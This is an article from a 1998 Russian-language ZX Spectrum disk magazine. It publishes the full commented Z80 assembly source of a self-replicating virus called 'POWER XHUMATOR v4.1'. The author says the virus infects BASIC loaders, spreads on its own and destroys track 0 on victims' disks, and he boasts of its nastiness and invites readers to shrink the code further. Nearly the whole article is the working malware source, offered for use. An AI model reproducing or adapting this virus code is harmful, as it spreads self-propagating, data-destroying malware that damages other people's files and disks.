Impulse
#03
09 декабря 1998 |
|
Чайникам - Как сделать реальный вирус на Спектруме.
┌─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┐ │▓▓▓▓ ░▒░ ЗАПОЛНЕННЫМ ЧАЙНИКАМ ▒░▒░ ▓▓▓│ └─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┘ ────────────────────────────────────────── V. Как сделать реальный вирус на спектруме (из неразгаданных тайн процессора Z-80) Такого на спектруме еще не было! Народ, предлагаю Вашему вниманию исходник гло- бальной разработки - вируса под названием POWER XHUMATOR версии 4.1. Первоначально сей вирус занимал #A3 байта и писался вот так, от балды. Но мне понравилась идея и я оптимизировал код вируса до #8A байт и на- писал даже инсталляшку. Что он творит? А творит он самое подлое - гадит 0 трек на Ваших драгоценных дисках, и что еще под- лее, так это то, что XHUM гадит 0 трек еще и на Ваших рабочих дисках. XHUM встраи- вается в BASIC-лоадеры всевозможных прог, не превышающие #XX72 байт и ждет своего часа. Мало того, что вирус способен само- распространяться; файлы, содержащие вирус inside, могут подвергаться любому насилию, такому как копирование, уплотнение, транс- портировка6 по почте и.т.д. Конечно, не гарантирована работоспособность вируса со 100% файлов, но, извините меня, это все- таки всего лишь #8A байт. Я не буду вдаваться в принцип работы - ниже приведен исходник, и те, кому это ин- тересно, разберутся во всем сами. А для тупорылых ребят я оставил тупорылые ком- ментарии, которые помогут им постичь неиз- веданное. ;------------------------------- ; POWER XHUMATOR v4.1 ; Special Edition For ZX-NET ; Koded & Optimized By ; !mPeR!0/P0WER HaCkZ All!aNcE ; 0f PR0 HaCkZ DyNaZ7Y ;------------------------------- LEN EQU #8A ORG #8000 RST #38 ;SP-2>SP, PC>(SP) ;#38>PC EXX ;BC<>BC', DE<>DE' ;HL<>HL' DEC SP ;SP-1>SP DEC SP ;SP-1>SP POP AF ;(SP)>AF, SP+2>SP EX AF,AF' ;AF<>AF' LD HL,#C9F1 ;#C9F1>HL LD (#5CC2),HL ;HL>(#5CC2) LD DE,#0000 ;#0000>DE LD BC,#0905 ;#0905>BC PUSH HL ;SP-2>SP, HL>(SP) PUSH HL ;SP-2>SP, HL>(SP) CALL #3D13 ;SP-2>SP, PC>(SP) ;#3D13>PC EX (SP),HL ;(SP)<>HL FIND POP AF ;(SP)>AF, SP+2>SP LD A,(HL) ;(HL)>A POP DE ;(SP)>DE, SP+2>SP AND A ;A AND A>A JR Z,EXIT ;EXIT>PC if Z PUSH DE ;SP-2>SP, DE>(SP) LD DE,#0004 ;#0004>DE ADD HL,DE ;HL+DE>HL ADD HL,DE ;HL+DE>HL LD A,(HL) ;(HL)>A INC HL ;HL+1>HL LD C,(HL) ;(HL)>C PUSH HL ;SP-2>SP, HL>(SP) INC HL ;HL+1>HL LD B,(HL) ;(HL)>B ADD HL,DE ;HL+DE>HL LD E,(HL) ;(HL)>E INC HL ;HL+1>HL LD D,(HL) ;(HL)>D INC HL ;HL+1>HL CP "B" ;A-"B" JR NZ,FIND ;FIND>PC if NZ LD A,C ;C>A CP #FD-LEN ;A-#FD+LEN JR NC,FIND ;FIND>PC if NC POP HL ;(SP)>HL, SP+2>SP ADD A,LEN ;A+LEN>A LD (HL),A ;A>(HL) LD HL,#DD3B ;#DD3B>HL PUSH BC ;SP-2>SP, BC>(SP) PUSH DE ;SP-2>SP, DE>(SP) PUSH HL ;SP-2>SP, HL>(SP) PUSH BC ;SP-2>SP, BC>(SP) PUSH BC ;SP-2>SP, BC>(SP) PUSH HL ;SP-2>SP, HL>(SP) INC B ;B+1>B LD C,#05 ;#05>C CALL #3D13 ;SP-2>SP, PC>(SP) ;#3D13>PC POP HL ;(SP)>HL, SP+2>SP POP BC ;(SP)>BC, SP+2>SP ADD HL,BC ;HL+BC>HL PUSH HL ;SP-2>SP, HL>(SP) PUSH HL ;SP-2>SP, HL>(SP) EX DE,HL ;DE<>HL LD HL,LEN ;LEN>HL PUSH HL ;SP-2>SP, HL>(SP) ADD HL,DE ;HL+DE>HL EX DE,HL ;DE<>HL LDIR ;(HL)>(DE)<─────┐ ;HL+1>HL,DE+1>DE│ ;BC-1>BC, BC>0?─┘ POP BC ;(SP)>BC, SP+2>SP POP DE ;(SP)>DE, SP+2>SP EX AF,AF' ;AF<>AF' PUSH AF ;SP-2>SP, AF>(SP) POP HL ;(SP)>HL, SP+2>SP DEC HL ;HL-1>HL LDIR ;(HL)>(DE)<─────┐ ;HL+1>HL,DE+1>DE│ ;BC-1>BC, BC>0?─┘ POP DE ;(SP)>DE, SP+2>SP POP BC ;(SP)>BC, SP+2>SP LD H,D ;D>H LD L,E ;E>L RES #07,D ;#00>D(#07) LD A,#3D ;#3D>A CPDR ;┌─>A=(HL)──────┐ ;│HL+1>HL,BC-1>BC ;└BC>0? │ ADD A,(HL) ;(HL)>A<-───────┘ CP #50 ;A-#50 JR NZ,SAVE ;SAVE>PC if NZ LD (HL),E ;E>(HL) INC HL ;HL+1>HL LD (HL),D ;D>(HL) SAVE POP HL ;(SP)>HL, SP+2>SP POP DE ;(SP)>DE, SP+2>SP POP BC ;(SP)>BC, SP+2>SP INC B ;B+1>B LD C,#06 ;#06>C CALL #3D13 ;SP-2>SP, PC>(SP) ;#3D13>PC EXIT POP HL ;(SP)>HL, SP+2>SP LD DE,#0000 ;#0000>DE LD BC,#0906 ;#0906>BC CALL #3D13 ;SP-2>SP, PC>(SP) ;#3D13>PC EXX ;BC<>BC', DE<>DE' ;HL<>HL' JP #3D13 ;#3D13>PC Наверное, все на этот раз. Попробуйте обрезать мой код хотя бы на 1 байт без утери функциональных возможностей XHUMа, и если у Вас это получится, то звякните мне как-нибудь.
Другие статьи номера:
Похожие статьи:
В этот день... 21 ноября